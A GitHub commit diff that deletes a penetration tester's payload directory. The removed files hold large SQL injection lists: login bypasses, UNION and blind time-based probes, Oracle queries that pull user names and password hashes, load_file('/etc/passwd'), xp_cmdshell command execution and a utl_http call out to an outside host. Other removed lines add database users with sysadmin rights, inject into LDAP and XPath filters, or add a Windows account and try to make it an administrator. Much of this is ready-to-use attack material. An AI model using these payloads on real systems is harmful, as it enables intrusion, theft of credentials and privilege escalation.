Delete payloads directory
InfoSec
GitHub
parent
d2e5e18a34
commit
dac48a8106
|
|
@ -1,3 +0,0 @@
|
|||
# those are some useful payloads collected by me when on penetration test
|
||||
# here are two directions including sqli and xss
|
||||
# in each direction, there are some payloads
|
||||
|
|
@ -1,77 +0,0 @@
|
|||
'-'
|
||||
' '
|
||||
'&'
|
||||
'^'
|
||||
'*'
|
||||
' or ''-'
|
||||
' or '' '
|
||||
' or ''&'
|
||||
' or ''^'
|
||||
' or ''*'
|
||||
"-"
|
||||
" "
|
||||
"&"
|
||||
"^"
|
||||
"*"
|
||||
" or ""-"
|
||||
" or "" "
|
||||
" or ""&"
|
||||
" or ""^"
|
||||
" or ""*"
|
||||
or true--
|
||||
" or true--
|
||||
' or true--
|
||||
") or true--
|
||||
') or true--
|
||||
' or 'x'='x
|
||||
') or ('x')=('x
|
||||
')) or (('x'))=(('x
|
||||
" or "x"="x
|
||||
") or ("x")=("x
|
||||
")) or (("x"))=(("x
|
||||
or 1=1
|
||||
or 1=1--
|
||||
or 1=1#
|
||||
or 1=1/*
|
||||
admin' --
|
||||
admin' #
|
||||
admin'/*
|
||||
admin' or '1'='1
|
||||
admin' or '1'='1'--
|
||||
admin' or '1'='1'#
|
||||
admin' or '1'='1'/*
|
||||
admin'or 1=1 or ''='
|
||||
admin' or 1=1
|
||||
admin' or 1=1--
|
||||
admin' or 1=1#
|
||||
admin' or 1=1/*
|
||||
admin') or ('1'='1
|
||||
admin') or ('1'='1'--
|
||||
admin') or ('1'='1'#
|
||||
admin') or ('1'='1'/*
|
||||
admin') or '1'='1
|
||||
admin') or '1'='1'--
|
||||
admin') or '1'='1'#
|
||||
admin') or '1'='1'/*
|
||||
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
||||
admin" --
|
||||
admin" #
|
||||
admin"/*
|
||||
admin" or "1"="1
|
||||
admin" or "1"="1"--
|
||||
admin" or "1"="1"#
|
||||
admin" or "1"="1"/*
|
||||
admin"or 1=1 or ""="
|
||||
admin" or 1=1
|
||||
admin" or 1=1--
|
||||
admin" or 1=1#
|
||||
admin" or 1=1/*
|
||||
admin") or ("1"="1
|
||||
admin") or ("1"="1"--
|
||||
admin") or ("1"="1"#
|
||||
admin") or ("1"="1"/*
|
||||
admin") or "1"="1
|
||||
admin") or "1"="1"--
|
||||
admin") or "1"="1"#
|
||||
admin") or "1"="1"/*
|
||||
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
||||
|
|
@ -1,142 +0,0 @@
|
|||
'sqlvuln
|
||||
'+sqlvuln
|
||||
sqlvuln;
|
||||
(sqlvuln)
|
||||
a' or 1=1--
|
||||
"a"" or 1=1--"
|
||||
or a = a
|
||||
a' or 'a' = 'a
|
||||
1 or 1=1
|
||||
a' waitfor delay '0:0:10'--
|
||||
1 waitfor delay '0:0:10'--
|
||||
declare @q nvarchar (4000) select @q =
|
||||
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
|
||||
0
|
||||
031003000270000
|
||||
declare @s varchar(22) select @s =
|
||||
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
|
||||
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
|
||||
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
|
||||
exec(@s)
|
||||
a'
|
||||
?
|
||||
' or 1=1
|
||||
‘ or 1=1 --
|
||||
x' AND userid IS NULL; --
|
||||
x' AND email IS NULL; --
|
||||
anything' OR 'x'='x
|
||||
x' AND 1=(SELECT COUNT(*) FROM tabname); --
|
||||
x' AND members.email IS NULL; --
|
||||
x' OR full_name LIKE '%Bob%
|
||||
23 OR 1=1
|
||||
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
|
||||
'
|
||||
'%20or%20''='
|
||||
'%20or%20'x'='x
|
||||
%20or%20x=x
|
||||
')%20or%20('x'='x
|
||||
0 or 1=1
|
||||
' or 0=0 --
|
||||
" or 0=0 --
|
||||
or 0=0 --
|
||||
' or 0=0 #
|
||||
or 0=0 #"
|
||||
or 0=0 #
|
||||
' or 1=1--
|
||||
" or 1=1--
|
||||
' or '1'='1'--
|
||||
' or 1 --'
|
||||
or 1=1--
|
||||
or%201=1
|
||||
or%201=1 --
|
||||
' or 1=1 or ''='
|
||||
or 1=1 or ""=
|
||||
' or a=a--
|
||||
or a=a
|
||||
') or ('a'='a
|
||||
) or (a=a
|
||||
hi or a=a
|
||||
hi or 1=1 --"
|
||||
hi' or 1=1 --
|
||||
hi' or 'a'='a
|
||||
hi') or ('a'='a
|
||||
"hi"") or (""a""=""a"
|
||||
'hi' or 'x'='x';
|
||||
@variable
|
||||
,@variable
|
||||
PRINT
|
||||
PRINT @@variable
|
||||
select
|
||||
insert
|
||||
as
|
||||
or
|
||||
procedure
|
||||
limit
|
||||
order by
|
||||
asc
|
||||
desc
|
||||
delete
|
||||
update
|
||||
distinct
|
||||
having
|
||||
truncate
|
||||
replace
|
||||
like
|
||||
handler
|
||||
bfilename
|
||||
' or username like '%
|
||||
' or uname like '%
|
||||
' or userid like '%
|
||||
' or uid like '%
|
||||
' or user like '%
|
||||
exec xp
|
||||
exec sp
|
||||
'; exec master..xp_cmdshell
|
||||
'; exec xp_regread
|
||||
t'exec master..xp_cmdshell 'nslookup www.google.com'--
|
||||
--sp_password
|
||||
\x27UNION SELECT
|
||||
' UNION SELECT
|
||||
' UNION ALL SELECT
|
||||
' or (EXISTS)
|
||||
' (select top 1
|
||||
'||UTL_HTTP.REQUEST
|
||||
1;SELECT%20*
|
||||
to_timestamp_tz
|
||||
tz_offset
|
||||
<>"'%;)(&+
|
||||
'%20or%201=1
|
||||
%27%20or%201=1
|
||||
%20$(sleep%2050)
|
||||
%20'sleep%2050'
|
||||
char%4039%41%2b%40SELECT
|
||||
'%20OR
|
||||
'sqlattempt1
|
||||
(sqlattempt2)
|
||||
|
|
||||
%7C
|
||||
*|
|
||||
%2A%7C
|
||||
*(|(mail=*))
|
||||
%2A%28%7C%28mail%3D%2A%29%29
|
||||
*(|(objectclass=*))
|
||||
%2A%28%7C%28objectclass%3D%2A%29%29
|
||||
(
|
||||
%28
|
||||
)
|
||||
%29
|
||||
&
|
||||
%26
|
||||
!
|
||||
%21
|
||||
' or 1=1 or ''='
|
||||
' or ''='
|
||||
x' or 1=1 or 'x'='y
|
||||
/
|
||||
//
|
||||
//*
|
||||
*/*
|
||||
a' or 3=3--
|
||||
"a"" or 3=3--"
|
||||
' or 3=3
|
||||
‘ or 3=3 --
|
||||
|
|
@ -1,167 +0,0 @@
|
|||
a
|
||||
a'
|
||||
a' --
|
||||
a' or 1=1; --
|
||||
@
|
||||
?
|
||||
' and 1=0) union all
|
||||
? or 1=1 --
|
||||
x' and userid is NULL; --
|
||||
x' and email is NULL; --
|
||||
anything' or 'x'='x
|
||||
x' and 1=(select count(*) from tabname); --
|
||||
x' and members.email is NULL; --
|
||||
x' or full_name like '%bob%
|
||||
23 or 1=1; --
|
||||
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
|
||||
a
|
||||
1 or 1=1
|
||||
1' or '1'='1
|
||||
1 and user_name() = 'dbo'
|
||||
1
|
||||
1'1
|
||||
1 exec sp_ (or exec xp_)
|
||||
1 and 1=1
|
||||
1' and 1=(select count(*) from tablenames); --
|
||||
1
|
||||
1 and user_name() = 'dbo'
|
||||
\'; desc users; --
|
||||
1\'1
|
||||
1' and non_existant_table = '1
|
||||
' or username is not NULL or username = '
|
||||
1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
|
||||
1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
|
||||
1 uni/**/on select all from where
|
||||
’ or ‘1’=’1
|
||||
' or '1'='1
|
||||
'||utl_http.request('httP://192.168.1.1/')||'
|
||||
' || myappadmin.adduser('admin', 'newpass') || '
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i
|
||||
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i
|
||||
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
|
||||
||6
|
||||
'||'6
|
||||
(||6)
|
||||
' or 1=1--
|
||||
or 1=1
|
||||
' or '1'='1
|
||||
; or '1'='1'
|
||||
" or isNULL(1/0) /*
|
||||
' or '7659'='7659
|
||||
" or isNULL(1/0) /*
|
||||
' --
|
||||
' or 1=1--
|
||||
" or 1=1--
|
||||
' or 1=1 /*
|
||||
or 1=1--
|
||||
' or 'a'='a
|
||||
" or "a"="a
|
||||
') or ('a'='a
|
||||
admin' or '
|
||||
' select * from information_schema.tables--
|
||||
) union select * from information_schema.tables;
|
||||
' having 1=1--
|
||||
' having 1=1--
|
||||
' group by userid having 1=1--
|
||||
' select name from syscolumns where id = (select id from sysobjects where name = tablename')--
|
||||
' or 1 in (select @@version)--
|
||||
' union all select @@version--
|
||||
' or 'unusual' = 'unusual'
|
||||
' or 'something' = 'some'+'thing'
|
||||
' or 'text' = n'text'
|
||||
' or 'something' like 'some%'
|
||||
' or 2 > 1
|
||||
' or 'text' > 't'
|
||||
' or 'whatever' in ('whatever')
|
||||
' or 2 between 1 and 3
|
||||
' or username like char(37);
|
||||
' union select * from users where login = char(114,111,111,116);
|
||||
' union select
|
||||
password:*/=1--
|
||||
uni/**/on sel/**/ect
|
||||
'; execute immediate 'sel' || 'ect us' || 'er'
|
||||
'; exec ('sel' + 'ect us' + 'er')
|
||||
'/**/or/**/1/**/=/**/1
|
||||
' or 1/*
|
||||
or isNULL(1/0) /*
|
||||
' or '7659'='7659
|
||||
" or isNULL(1/0) /*
|
||||
' -- &password=
|
||||
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
|
||||
@var select @var as var into temp end --
|
||||
' and 1 in (select var from temp)--
|
||||
' union select 1,load_file('/etc/passwd'),1,1,1;
|
||||
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
|
||||
' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
|
||||
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
|
||||
create user name identified by 'pass123'
|
||||
create user name identified by pass123 temporary tablespace temp default tablespace users;
|
||||
' ; drop table temp --
|
||||
exec sp_addlogin 'name' , 'password'
|
||||
exec sp_addsrvrolemember 'name' , 'sysadmin'
|
||||
insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123'))
|
||||
grant connect to name; grant resource to name;
|
||||
insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
|
||||
' or 1=1 --
|
||||
' union (select @@version) --
|
||||
' union (select NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, NULL, (select @@version)) --
|
||||
' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
|
||||
'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' --
|
||||
'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' --
|
||||
'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' --
|
||||
'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' --
|
||||
'; if not(select system_user) <> 'sa' waitfor delay '0:0:2' --
|
||||
'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' --
|
||||
'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' --
|
||||
'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' --
|
||||
|
|
@ -1,142 +0,0 @@
|
|||
'sqlvuln
|
||||
'+sqlvuln
|
||||
sqlvuln;
|
||||
(sqlvuln)
|
||||
a' or 1=1--
|
||||
"a"" or 1=1--"
|
||||
or a = a
|
||||
a' or 'a' = 'a
|
||||
1 or 1=1
|
||||
a' waitfor delay '0:0:10'--
|
||||
1 waitfor delay '0:0:10'--
|
||||
declare @q nvarchar (4000) select @q =
|
||||
0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A
|
||||
0
|
||||
031003000270000
|
||||
declare @s varchar(22) select @s =
|
||||
0x77616974666F722064656C61792027303A303A31302700 exec(@s)
|
||||
0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
|
||||
declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e
|
||||
exec(@s)
|
||||
a'
|
||||
?
|
||||
' or 1=1
|
||||
‘ or 1=1 --
|
||||
x' AND userid IS NULL; --
|
||||
x' AND email IS NULL; --
|
||||
anything' OR 'x'='x
|
||||
x' AND 1=(SELECT COUNT(*) FROM tabname); --
|
||||
x' AND members.email IS NULL; --
|
||||
x' OR full_name LIKE '%Bob%
|
||||
23 OR 1=1
|
||||
'; exec master..xp_cmdshell 'ping 172.10.1.255'--
|
||||
'
|
||||
'%20or%20''='
|
||||
'%20or%20'x'='x
|
||||
%20or%20x=x
|
||||
')%20or%20('x'='x
|
||||
0 or 1=1
|
||||
' or 0=0 --
|
||||
" or 0=0 --
|
||||
or 0=0 --
|
||||
' or 0=0 #
|
||||
or 0=0 #"
|
||||
or 0=0 #
|
||||
' or 1=1--
|
||||
" or 1=1--
|
||||
' or '1'='1'--
|
||||
' or 1 --'
|
||||
or 1=1--
|
||||
or%201=1
|
||||
or%201=1 --
|
||||
' or 1=1 or ''='
|
||||
or 1=1 or ""=
|
||||
' or a=a--
|
||||
or a=a
|
||||
') or ('a'='a
|
||||
) or (a=a
|
||||
hi or a=a
|
||||
hi or 1=1 --"
|
||||
hi' or 1=1 --
|
||||
hi' or 'a'='a
|
||||
hi') or ('a'='a
|
||||
"hi"") or (""a""=""a"
|
||||
'hi' or 'x'='x';
|
||||
@variable
|
||||
,@variable
|
||||
PRINT
|
||||
PRINT @@variable
|
||||
select
|
||||
insert
|
||||
as
|
||||
or
|
||||
procedure
|
||||
limit
|
||||
order by
|
||||
asc
|
||||
desc
|
||||
delete
|
||||
update
|
||||
distinct
|
||||
having
|
||||
truncate
|
||||
replace
|
||||
like
|
||||
handler
|
||||
bfilename
|
||||
' or username like '%
|
||||
' or uname like '%
|
||||
' or userid like '%
|
||||
' or uid like '%
|
||||
' or user like '%
|
||||
exec xp
|
||||
exec sp
|
||||
'; exec master..xp_cmdshell
|
||||
'; exec xp_regread
|
||||
t'exec master..xp_cmdshell 'nslookup www.google.com'--
|
||||
--sp_password
|
||||
\x27UNION SELECT
|
||||
' UNION SELECT
|
||||
' UNION ALL SELECT
|
||||
' or (EXISTS)
|
||||
' (select top 1
|
||||
'||UTL_HTTP.REQUEST
|
||||
1;SELECT%20*
|
||||
to_timestamp_tz
|
||||
tz_offset
|
||||
<>"'%;)(&+
|
||||
'%20or%201=1
|
||||
%27%20or%201=1
|
||||
%20$(sleep%2050)
|
||||
%20'sleep%2050'
|
||||
char%4039%41%2b%40SELECT
|
||||
'%20OR
|
||||
'sqlattempt1
|
||||
(sqlattempt2)
|
||||
|
|
||||
%7C
|
||||
*|
|
||||
%2A%7C
|
||||
*(|(mail=*))
|
||||
%2A%28%7C%28mail%3D%2A%29%29
|
||||
*(|(objectclass=*))
|
||||
%2A%28%7C%28objectclass%3D%2A%29%29
|
||||
(
|
||||
%28
|
||||
)
|
||||
%29
|
||||
&
|
||||
%26
|
||||
!
|
||||
%21
|
||||
' or 1=1 or ''='
|
||||
' or ''='
|
||||
x' or 1=1 or 'x'='y
|
||||
/
|
||||
//
|
||||
//*
|
||||
*/*
|
||||
a' or 3=3--
|
||||
"a"" or 3=3--"
|
||||
' or 3=3
|
||||
‘ or 3=3 --
|
||||
|
|
@ -1,86 +0,0 @@
|
|||
2 and 456=678
|
||||
2 or 345=345
|
||||
2 order by 9999
|
||||
2 order by 1
|
||||
2/0 and 456=678
|
||||
2/1 or 345=345
|
||||
2/*f*/and/*f*/456=678
|
||||
2/*f*/or/*f*/345=345
|
||||
a' and '456'='678
|
||||
a' or '345'='345
|
||||
a' and 'fghi'='fghj'-- #
|
||||
a' or 'dfth'='dfth'-- #
|
||||
a' order by 9999-- #
|
||||
a' order by 1-- #
|
||||
a'and/*g*/456=678-- #
|
||||
a'or/*g*/345=345-- #
|
||||
a' and '456'='678
|
||||
a' or '345'='345
|
||||
a' and 'fghi'='fghj'#
|
||||
a' or 'dfth'='dfth'#
|
||||
a' order by 9999#
|
||||
a' order by 1#
|
||||
a'||/**/456=678#
|
||||
a'||/**/345=345#
|
||||
a' and '456'='678
|
||||
a' or '345'='345
|
||||
a' and 'fghi'='fghj'--
|
||||
a' or 'dfth'='dfth'--
|
||||
a' order by 9999--
|
||||
a' order by 1--
|
||||
a'and/*d*/456=678--
|
||||
a'or/*d*/345=345--
|
||||
a' and '456'='678
|
||||
a' or '345'='345
|
||||
a' and 'fghi'='fghj'-- #
|
||||
a' or 'dfth'='dfth'-- #
|
||||
a' order by 9999-- #
|
||||
a' order by 1-- #
|
||||
a'and/*g*/456=678-- #
|
||||
a'or/*g*/345=345-- #
|
||||
345'%5d|//*|/a%5b'a
|
||||
456'%5d|//a|/a%5b'a
|
||||
345')%5d|//*|/a%5bcontains(a,'b
|
||||
456')%5d|//a|/a%5bcontains(a,'b
|
||||
a" and "456"="678
|
||||
a" or "345"="345
|
||||
a" and "fghi"="fghj"-- #
|
||||
a" or "dfth"="dfth"-- #
|
||||
a" order by 9999-- #
|
||||
a" order by 1-- #
|
||||
a"and/*g*/456=678-- #
|
||||
a"or/*g*/345=345-- #
|
||||
345"%5d|//*|/a%5b"a
|
||||
456"%5d|//a|/a%5b"a
|
||||
345")%5d|//*|/a%5bcontains(a,"b
|
||||
456")%5d|//a|/a%5bcontains(a,"b
|
||||
1 waitfor delay '0:0:X'--
|
||||
1; waitfor delay '0:0:X'--
|
||||
1'; waitfor delay '0:0:X'--
|
||||
1); waitfor delay '0:0:X'--
|
||||
1)); waitfor delay '0:0:X'--
|
||||
1'); waitfor delay '0:0:X'--
|
||||
1')); waitfor delay '0:0:X'--
|
||||
1 or benchmark(100000000,MD5(1))#
|
||||
1' or benchmark(100000000,MD5(1))#
|
||||
1) or benchmark(100000000,MD5(1))#
|
||||
1') or benchmark(100000000,MD5(1))#
|
||||
1)) or benchmark(100000000,MD5(1))#
|
||||
1')) or benchmark(100000000,MD5(1))#
|
||||
1/(select UTL_INADDR.get_host_address('n0where329.z0m') from dual)--
|
||||
1' AND 1=UTL_INADDR.get_host_address('n0where329.z0m')--
|
||||
1 waitfor delay '0:0:X'--
|
||||
1; waitfor delay '0:0:X'--
|
||||
1'; waitfor delay '0:0:X'--
|
||||
1); waitfor delay '0:0:X'--
|
||||
1)); waitfor delay '0:0:X'--
|
||||
1'); waitfor delay '0:0:X'--
|
||||
1')); waitfor delay '0:0:X'--
|
||||
1 or benchmark(100000000,MD5(1))#
|
||||
1' or benchmark(100000000,MD5(1))#
|
||||
1) or benchmark(100000000,MD5(1))#
|
||||
1') or benchmark(100000000,MD5(1))#
|
||||
1)) or benchmark(100000000,MD5(1))#
|
||||
1')) or benchmark(100000000,MD5(1))#
|
||||
1/(select UTL_INADDR.get_host_address('n0where329.z0m') from dual)--
|
||||
1' AND 1=UTL_INADDR.get_host_address('n0where329.z0m')--
|
||||
|
|
@ -1,5 +0,0 @@
|
|||
net user #列出系统已存在的用户
|
||||
net user root ym2011 /add #添加一个用户
|
||||
net user administrators /add #将该用户提权到管理员
|
||||
net user #确认已成功添加新用户
|
||||
net user root # 确认新用户的权限
|
||||
|
|
